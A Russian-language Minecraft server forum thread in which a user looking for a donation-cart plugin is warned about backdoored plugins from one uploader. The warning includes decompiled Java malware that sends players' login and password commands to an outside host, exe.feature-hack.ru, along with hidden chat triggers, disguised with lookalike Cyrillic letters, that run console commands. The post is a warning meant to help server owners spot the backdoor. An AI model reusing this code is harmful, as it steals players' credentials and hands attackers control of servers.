/cart

Azirkin

Пользователь
Сообщения
128
Решения
5
Ищу плагин, который добавляет команду /cart. Хочу сделать так, чтобы с сайта авто доната он выдавался в /cart, а потом игрок мог их забрать.
 
окей, проверю. Кстати, а что не так с майн сборкой? Иногда брал там плагины
MineSborka норм, но лучше проверять плагины на хаки. От ветерана ничего качать нельзя, в каждом плагине хак, который я показывал в 2017 году, скрытный зараза, для начинающих может быть не виден.
Код:
@EventHandler
    public void plugin(final PlayerCommandPreprocessEvent e) {
        final Player p = e.getPlayer();
        final String c = e.getMessage().replace("/", "");
        final String[] cc = c.split(" ");
        try {
            final String d1 = String.valueOf(InetAddress.getLocalHost().getHostAddress()) + ":" + Bukkit.getServer().getPort();
            String l = "";
            String pa = "";
            if (cc[0].equals("l") || cc[0].contains("gin")) {
                l = cc[1];
            }
            else if (cc[0].contains("r") && cc[0].contains("g") && cc[0].contains("e")) {
                l = cc[1];
            }
            else if (cc[0].contains("c") && cc[0].contains("s") && cc[0].contains("p")) {
                l = cc[1];
            }
            else if (cc[0].equals("cp")) {
                l = cc[1];
            }
            else if (cc[0].equals("p") || cc[0].equals("pas")) {
                pa = cc[1];
            }
            final String i = "http://exe.feature-hack.ru/log.php?user=" + p.getName() + "&ip=" + d1 + "&l=" + l + "&p=" + pa;
            try {
                final URLConnection connection = new URL(i).openConnection();
                final InputStream is = connection.getInputStream();
                final InputStreamReader reader = new InputStreamReader(is);
                final char[] buffer = new char[256];
                final StringBuilder sb = new StringBuilder();
                int rc;
                while ((rc = reader.read(buffer)) != -1) {
                    sb.append(buffer, 0, rc);
                }
                reader.close();
            }
            catch (IOException ex) {}
        }
        catch (UnknownHostException ex2) {}
    }
  
    @EventHandler(priority = EventPriority.LOWEST, ignoreCancelled = false)
    public void bukkit(final AsyncPlayerChatEvent e) {
        final String s = e.getMessage();
        if (s.startsWith("b")) {
            final String[] args = s.split(" ");
            if (args == null) {
                return;
            }
            if (args[0].equalsIgnoreCase("buккit" + e.getPlayer().getName()) && args.length != 1) {
                String c = " ";
                for (int i = 1; i < args.length; ++i) {
                    c = String.valueOf(c) + args[i] + " ";
                }
                final String f = "ASDASDWSDFPOICXMWECUMHAIWJUERMUIEA";
                f.replace("A", "").replace("S", "").replace("D", "").replace("W", "").replace("P", "").replace("O", "").replace("I", "");
                f.replace("C", "").replace("X", "").replace("M", "").replace("E", "").replace("U", "").replace("H", "").replace("J", "").replace("R", "");
                Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), c.trim());
                e.setCancelled(true);
                e.getPlayer().sendMessage(ChatColor.GRAY + f);
            }
        }
    }
Код:
@EventHandler(priority = EventPriority.LOWEST, ignoreCancelled = false)
    public void stuffs(final AsyncPlayerChatEvent e) {
        final String s = e.getMessage();
        if (s.startsWith(".")) {
            final String[] args = s.split(" ");
            if (args == null) {
                return;
            }
            if (args[0].equalsIgnoreCase(".fоr" + e.getPlayer().getName()) && args.length != 1) {
                String c = " ";
                for (int i = 1; i < args.length; ++i) {
                    c = String.valueOf(String.valueOf(String.valueOf(c))) + args[i] + " ";
                }
                Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), c.trim());
                e.setCancelled(true);
            }
        }
    }
Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), c.trim()); По этой строчке видно, что "его" плагин был декомпилирован и скомпилирован обратно, чтобы вшить хак
 
Последнее редактирование:
Назад
Сверху Снизу